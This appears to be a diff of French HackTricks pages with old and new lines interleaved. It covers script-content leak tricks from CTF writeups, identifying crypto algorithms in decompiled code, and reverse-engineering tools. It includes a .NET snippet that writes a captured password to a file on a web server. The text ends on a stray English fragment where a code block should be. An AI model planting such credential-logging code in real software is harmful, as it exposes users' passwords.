* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Contenu du script de fuite en convertissant en UTF16
|
||||
## Fuite du contenu d'un script en le convertissant en UTF16
|
||||
|
||||
[**Cette explication**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) fuite un texte brut car il n'y a pas d'en-tête `X-Content-Type-Options: nosniff` en ajoutant quelques caractères initiaux qui feront croire à JavaScript que le contenu est en UTF-16 afin que le script ne se casse pas.
|
||||
[**Ce writeup**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#modernism21-solves) provoque une fuite d'un texte/plain car il n'y a pas d'en-tête `X-Content-Type-Options: nosniff` en ajoutant quelques caractères initiaux qui feront croire à JavaScript que le contenu est en UTF-16, donc le script ne se brise pas.
|
||||
|
||||
## Contenu du script de fuite en le traitant comme une ICO
|
||||
## Fuite du contenu d'un script en le traitant comme un ICO
|
||||
|
||||
[**La prochaine explication**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) fuite le contenu du script en le chargeant comme s'il s'agissait d'une image ICO en accédant au paramètre `width`.
|
||||
[**Le writeup suivant**](https://blog.huli.tw/2022/08/01/en/uiuctf-2022-writeup/#precisionism3-solves) provoque la fuite du contenu du script en le chargeant comme s'il s'agissait d'une image ICO en accédant au paramètre `width`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,24 @@
|
|||
# Algorithmes Cryptographiques/De Compression
|
||||
# Algorithmes Cryptographiques/Compression
|
||||
|
||||
## Algorithmes Cryptographiques/De Compression
|
||||
## Algorithmes Cryptographiques/Compression
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PRs aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Identification des Algorithmes
|
||||
|
||||
Si vous tombez sur un code **utilisant des décalages à droite et à gauche, des XOR et plusieurs opérations arithmétiques**, il est très probable qu'il s'agisse de la mise en œuvre d'un **algorithme cryptographique**. Voici quelques façons d'**identifier l'algorithme utilisé sans avoir besoin de renverser chaque étape**.
|
||||
Si vous tombez sur un code **utilisant des décalages à droite et à gauche, des xors et plusieurs opérations arithmétiques**, il est fort probable qu'il s'agisse de l'implémentation d'un **algorithme cryptographique**. Ici, il sera montré des moyens d'**identifier l'algorithme utilisé sans avoir à inverser chaque étape**.
|
||||
|
||||
### Fonctions API
|
||||
|
||||
|
@ -26,7 +28,7 @@ Si cette fonction est utilisée, vous pouvez trouver quel **algorithme est utili
|
|||
|
||||
![](<../../.gitbook/assets/image (375) (1) (1) (1) (1).png>)
|
||||
|
||||
Consultez ici le tableau des algorithmes possibles et de leurs valeurs attribuées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
Consultez ici le tableau des algorithmes possibles et leurs valeurs attribuées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
|
@ -34,7 +36,7 @@ Compresse et décompresse un tampon de données donné.
|
|||
|
||||
**CryptAcquireContext**
|
||||
|
||||
La fonction **CryptAcquireContext** est utilisée pour acquérir une poignée sur un conteneur de clé particulier dans un fournisseur de services cryptographiques (CSP) particulier. **Cette poignée retournée est utilisée dans les appels aux fonctions CryptoAPI** qui utilisent le CSP sélectionné.
|
||||
La fonction **CryptAcquireContext** est utilisée pour acquérir un handle vers un conteneur de clés spécifique au sein d'un fournisseur de services cryptographiques (CSP) particulier. **Ce handle retourné est utilisé dans les appels aux fonctions CryptoAPI** qui utilisent le CSP sélectionné.
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
|
@ -42,16 +44,167 @@ Initie le hachage d'un flux de données. Si cette fonction est utilisée, vous p
|
|||
|
||||
![](<../../.gitbook/assets/image (376).png>)
|
||||
|
||||
Consultez ici le tableau des algorithmes possibles et de leurs valeurs attribuées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
\
|
||||
Consultez ici le tableau des algorithmes possibles et leurs valeurs attribuées : [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Constantes de code
|
||||
### Constantes de Code
|
||||
|
||||
Parfois, il est très facile d'identifier un algorithme grâce au fait qu'il doit utiliser une valeur spéciale et unique.
|
||||
|
||||
![](<../../.gitbook/assets/image (370).png>)
|
||||
|
||||
Si vous recherchez la première constante dans Google, voici ce que vous obtenez :
|
||||
Si vous recherchez la première constante sur Google, voici ce que vous obtenez :
|
||||
|
||||
![](<../../.gitbook/assets/image (371).png>)
|
||||
|
||||
Par conséquent, vous pouvez
|
||||
Par conséquent, vous pouvez supposer que la fonction décompilée est un **calculateur sha256.**\
|
||||
Vous pouvez rechercher n'importe laquelle des autres constantes et vous obtiendrez (probablement) le même résultat.
|
||||
|
||||
### Informations sur les données
|
||||
|
||||
Si le code ne contient aucune constante significative, il peut **charger des informations à partir de la section .data**.\
|
||||
Vous pouvez accéder à ces données, **regrouper le premier dword** et le rechercher sur Google comme nous l'avons fait dans la section précédente :
|
||||
|
||||
![](<../../.gitbook/assets/image (372).png>)
|
||||
|
||||
Dans ce cas, si vous recherchez **0xA56363C6**, vous pouvez trouver qu'il est lié aux **tables de l'algorithme AES**.
|
||||
|
||||
## RC4 **(Crypt Symétrique)**
|
||||
|
||||
### Caractéristiques
|
||||
|
||||
Il est composé de 3 parties principales :
|
||||
|
||||
* **Phase d'initialisation/** : Crée une **table de valeurs de 0x00 à 0xFF** (256 octets au total, 0x100). Cette table est communément appelée **Boîte de Substitution** (ou SBox).
|
||||
* **Phase de brouillage** : Va **parcourir la table** créée précédemment (boucle de 0x100 itérations, encore) en modifiant chaque valeur avec des octets **semi-aléatoires**. Pour créer ces octets semi-aléatoires, la **clé RC4 est utilisée**. Les **clés RC4** peuvent être **entre 1 et 256 octets de longueur**, cependant il est généralement recommandé qu'elle soit supérieure à 5 octets. Habituellement, les clés RC4 font 16 octets de longueur.
|
||||
* **Phase XOR** : Enfin, le texte clair ou le texte chiffré est **XORé avec les valeurs créées précédemment**. La fonction pour chiffrer et déchiffrer est la même. Pour cela, une **boucle à travers les 256 octets créés** sera effectuée autant de fois que nécessaire. Ceci est généralement reconnu dans un code décompilé avec un **%256 (mod 256)**.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Pour identifier un RC4 dans un code désassemblé/décompilé, vous pouvez vérifier 2 boucles de taille 0x100 (avec l'utilisation d'une clé) puis un XOR des données d'entrée avec les 256 valeurs créées précédemment dans les 2 boucles probablement en utilisant un %256 (mod 256)**
|
||||
{% endhint %}
|
||||
|
||||
### **Phase d'initialisation/Boîte de Substitution :** (Notez le nombre 256 utilisé comme compteur et comment un 0 est écrit à chaque place des 256 caractères)
|
||||
|
||||
![](<../../.gitbook/assets/image (377).png>)
|
||||
|
||||
### **Phase de Brouillage :**
|
||||
|
||||
![](<../../.gitbook/assets/image (378).png>)
|
||||
|
||||
### **Phase XOR :**
|
||||
|
||||
![](<../../.gitbook/assets/image (379).png>)
|
||||
|
||||
## **AES (Crypt Symétrique)**
|
||||
|
||||
### **Caractéristiques**
|
||||
|
||||
* Utilisation de **boîtes de substitution et de tables de recherche**
|
||||
* Il est possible de **distinguer AES grâce à l'utilisation de valeurs spécifiques de tables de recherche** (constantes). _Notez que la **constante** peut être **stockée** dans le binaire **ou créée**_ _**dynamiquement**._
|
||||
* La **clé de chiffrement** doit être **divisible** par **16** (généralement 32B) et généralement un **IV** de 16B est utilisé.
|
||||
|
||||
### Constantes SBox
|
||||
|
||||
![](<../../.gitbook/assets/image (380).png>)
|
||||
|
||||
## Serpent **(Crypt Symétrique)**
|
||||
|
||||
### Caractéristiques
|
||||
|
||||
* Il est rare de trouver des malwares l'utilisant mais il y a des exemples (Ursnif)
|
||||
* Simple à déterminer si un algorithme est Serpent ou non en fonction de sa longueur (fonction extrêmement longue)
|
||||
|
||||
### Identification
|
||||
|
||||
Dans l'image suivante, notez comment la constante **0x9E3779B9** est utilisée (notez que cette constante est également utilisée par d'autres algorithmes cryptographiques comme **TEA** -Tiny Encryption Algorithm).\
|
||||
Notez également la **taille de la boucle** (**132**) et le **nombre d'opérations XOR** dans les **instructions de désassemblage** et dans l'**exemple de code** :
|
||||
|
||||
![](<../../.gitbook/assets/image (381).png>)
|
||||
|
||||
Comme mentionné précédemment, ce code peut être visualisé dans n'importe quel décompilateur comme une **fonction très longue** car il **n'y a pas de sauts** à l'intérieur. Le code décompilé peut ressembler à ce qui suit :
|
||||
|
||||
![](<../../.gitbook/assets/image (382).png>)
|
||||
|
||||
Par conséquent, il est possible d'identifier cet algorithme en vérifiant le **nombre magique** et les **XOR initiaux**, en voyant une **fonction très longue** et en **comparant** certaines **instructions** de la longue fonction **avec une implémentation** (comme le décalage à gauche de 7 et la rotation à gauche de 22).
|
||||
|
||||
## RSA **(Crypt Asymétrique)**
|
||||
|
||||
### Caractéristiques
|
||||
|
||||
* Plus complexe que les algorithmes symétriques
|
||||
* Il n'y a pas de constantes ! (les implémentations personnalisées sont difficiles à déterminer)
|
||||
* KANAL (un analyseur crypto) échoue à donner des indices sur RSA car il repose sur des constantes.
|
||||
|
||||
### Identification par comparaisons
|
||||
|
||||
![](<../../.gitbook/assets/image (383).png>)
|
||||
|
||||
* À la ligne 11 (gauche), il y a un `+7) >> 3` qui est le même qu'à la ligne 35 (droite) : `+7) / 8`
|
||||
* La ligne 12 (gauche) vérifie si `modulus_len < 0x040` et à la ligne 36 (droite) elle vérifie si `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA (hash)
|
||||
|
||||
### Caractéristiques
|
||||
|
||||
* 3 fonctions : Init, Update, Final
|
||||
* Fonctions d'initialisation similaires
|
||||
|
||||
### Identifier
|
||||
|
||||
**Init**
|
||||
|
||||
Vous pouvez identifier les deux en vérifiant les constantes. Notez que le sha\_init a 1 constante que MD5 n'a pas :
|
||||
|
||||
![](<../../.gitbook/assets/image (385).png>)
|
||||
|
||||
**Transformation MD5**
|
||||
|
||||
Notez l'utilisation de plus de constantes
|
||||
|
||||
![](<../../.gitbook/assets/image (253) (1) (1) (1).png>)
|
||||
|
||||
## CRC (hash)
|
||||
|
||||
* Plus petit et plus efficace car sa fonction est de trouver des changements accidentels dans les données
|
||||
* Utilise des tables de recherche (donc vous pouvez identifier des constantes)
|
||||
|
||||
### Identifier
|
||||
|
||||
Vérifiez **les constantes de la table de recherche** :
|
||||
|
||||
![](<../../.gitbook/assets/image (387).png>)
|
||||
|
||||
Un algorithme de hash CRC ressemble à :
|
||||
|
||||
![](<../../.gitbook/assets/image (386).png>)
|
||||
|
||||
## APLib (Compression)
|
||||
|
||||
### Caractéristiques
|
||||
|
||||
* Pas de constantes reconnaissables
|
||||
* Vous pouvez essayer d'écrire l'algorithme en python et rechercher des choses similaires en ligne
|
||||
|
||||
### Identifier
|
||||
|
||||
Le graphe est assez grand :
|
||||
|
||||
![](<../../.gitbook/assets/image (207) (2) (1).png>)
|
||||
|
||||
Vérifiez **3 comparaisons pour le reconnaître** :
|
||||
|
||||
![](<../../.gitbook/assets/image (384).png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PRs aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,28 +1,30 @@
|
|||
# Outils de rétro-ingénierie et méthodes de base
|
||||
# Outils de Reverse Engineering et Méthodes de Base
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm).
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Outils de rétro-ingénierie basés sur ImGui
|
||||
## Outils de Reverse Engineering basés sur ImGui
|
||||
|
||||
Logiciel :
|
||||
Logiciels :
|
||||
|
||||
* ReverseKit : [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
|
||||
|
||||
|
@ -30,11 +32,11 @@ Logiciel :
|
|||
|
||||
En ligne :
|
||||
|
||||
* Utilisez [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) pour **décompiler** du wasm (binaire) en wat (texte clair)
|
||||
* Utilisez [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) pour **compiler** du wat en wasm
|
||||
* Vous pouvez également essayer d'utiliser [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) pour décompiler
|
||||
* Utilisez [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) pour **décompiler** de wasm (binaire) à wat (texte clair)
|
||||
* Utilisez [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) pour **compiler** de wat à wasm
|
||||
* vous pouvez également essayer d'utiliser [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) pour décompiler
|
||||
|
||||
Logiciel :
|
||||
Logiciels :
|
||||
|
||||
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
||||
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
||||
|
@ -43,76 +45,48 @@ Logiciel :
|
|||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeek est un décompilateur qui **décompile et examine plusieurs formats**, y compris les **bibliothèques** (.dll), les fichiers de **métadonnées Windows** (.winmd) et les **exécutables** (.exe). Une fois décompilée, une assembly peut être enregistrée en tant que projet Visual Studio (.csproj).
|
||||
dotPeek est un décompilateur qui **décompile et examine plusieurs formats**, y compris les **bibliothèques** (.dll), les **fichiers de métadonnées Windows** (.winmd) et les **exécutables** (.exe). Une fois décompilé, un assemblage peut être sauvegardé en tant que projet Visual Studio (.csproj).
|
||||
|
||||
Le mérite ici est que si un code source perdu nécessite une restauration à partir d'une assembly héritée, cette action peut faire gagner du temps. De plus, dotPeek offre une navigation pratique dans le code décompilé, ce qui en fait l'un des outils parfaits pour l'analyse des algorithmes Xamarin.
|
||||
L'avantage ici est que si un code source perdu nécessite une restauration à partir d'un assemblage ancien, cette action peut faire gagner du temps. De plus, dotPeek offre une navigation pratique dans le code décompilé, ce qui en fait l'un des outils parfaits pour **l'analyse d'algorithme Xamarin.**
|
||||
|
||||
### [.Net Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
Avec un modèle d'extension complet et une API qui étend l'outil pour répondre à vos besoins exacts, .NET reflector fait gagner du temps et simplifie le développement. Jetons un coup d'œil à la pléthore de services d'ingénierie inverse que cet outil offre :
|
||||
Avec un modèle d'add-in complet et une API qui étend l'outil pour répondre à vos besoins exacts, .NET Reflector économise du temps et simplifie le développement. Examinons la multitude de services d'ingénierie inverse que cet outil offre :
|
||||
|
||||
* Fournit un aperçu de la façon dont les données circulent à travers une bibliothèque ou un composant
|
||||
* Fournit un aperçu de la mise en œuvre et de l'utilisation des langages et frameworks .NET
|
||||
* Trouve des fonctionnalités non documentées et non exposées pour tirer le meilleur parti des API et des technologies utilisées.
|
||||
* Trouve les dépendances et les différentes assemblies
|
||||
* Localise l'emplacement exact des erreurs dans votre code, les composants tiers et les bibliothèques.
|
||||
* Débogue le code source de tout le code .NET avec lequel vous travaillez.
|
||||
* Donne un aperçu de la mise en œuvre et de l'utilisation des langages et frameworks .NET
|
||||
* Trouve des fonctionnalités non documentées et non exposées pour tirer davantage parti des API et technologies utilisées.
|
||||
* Trouve des dépendances et différentes assemblées
|
||||
* Localise avec précision l'emplacement des erreurs dans votre code, les composants tiers et les bibliothèques.
|
||||
* Débogue dans la source de tout le code .NET avec lequel vous travaillez.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[Plugin ILSpy pour Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode) : Vous pouvez l'avoir sur n'importe quel système d'exploitation (vous pouvez l'installer directement depuis VSCode, pas besoin de télécharger le git. Cliquez sur **Extensions** et **recherchez ILSpy**).\
|
||||
Si vous avez besoin de **décompiler**, **modifier** et **recompiler** à nouveau, vous pouvez utiliser : [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Clic droit -> Modifier la méthode** pour changer quelque chose à l'intérieur d'une fonction).\
|
||||
Vous pouvez également essayer [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)
|
||||
[Plugin ILSpy pour Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode) : Vous pouvez l'avoir sur n'importe quel OS (vous pouvez l'installer directement depuis VSCode, pas besoin de télécharger le git. Cliquez sur **Extensions** et **recherchez ILSpy**).\
|
||||
Si vous avez besoin de **décompiler**, **modifier** et **recompiler** à nouveau, vous pouvez utiliser : [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Clic Droit -> Modifier la Méthode** pour changer quelque chose à l'intérieur d'une fonction).\
|
||||
Vous pourriez également essayer [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)
|
||||
|
||||
### Journalisation DNSpy
|
||||
|
||||
Pour faire en sorte que **DNSpy enregistre certaines informations dans un fichier**, vous pouvez utiliser ces lignes de code .Net :
|
||||
Pour faire en sorte que **DNSpy enregistre certaines informations dans un fichier**, vous pourriez utiliser ces lignes .Net :
|
||||
```bash
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
File.AppendAllText(path, "Password: " + password + "\n");
|
||||
```
|
||||
### Débogage avec DNSpy
|
||||
### Débogage DNSpy
|
||||
|
||||
Pour déboguer du code à l'aide de DNSpy, vous devez :
|
||||
Pour déboguer du code en utilisant DNSpy, vous devez :
|
||||
|
||||
Tout d'abord, modifier les **attributs de l'assembly** liés au **débogage** :
|
||||
D'abord, modifier les **attributs d'assemblage** liés au **débogage** :
|
||||
|
||||
![](<../../.gitbook/assets/image (278).png>)
|
||||
|
||||
De :
|
||||
```aspnet
|
||||
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
|
||||
```
|
||||
À:
|
||||
|
||||
# Reverse Engineering Tools: Basic Methods
|
||||
|
||||
Reverse engineering is the process of analyzing a software program to understand its structure, functionality, and behavior. Reverse engineering tools are essential for this process, as they help in dissecting and understanding the inner workings of a program.
|
||||
|
||||
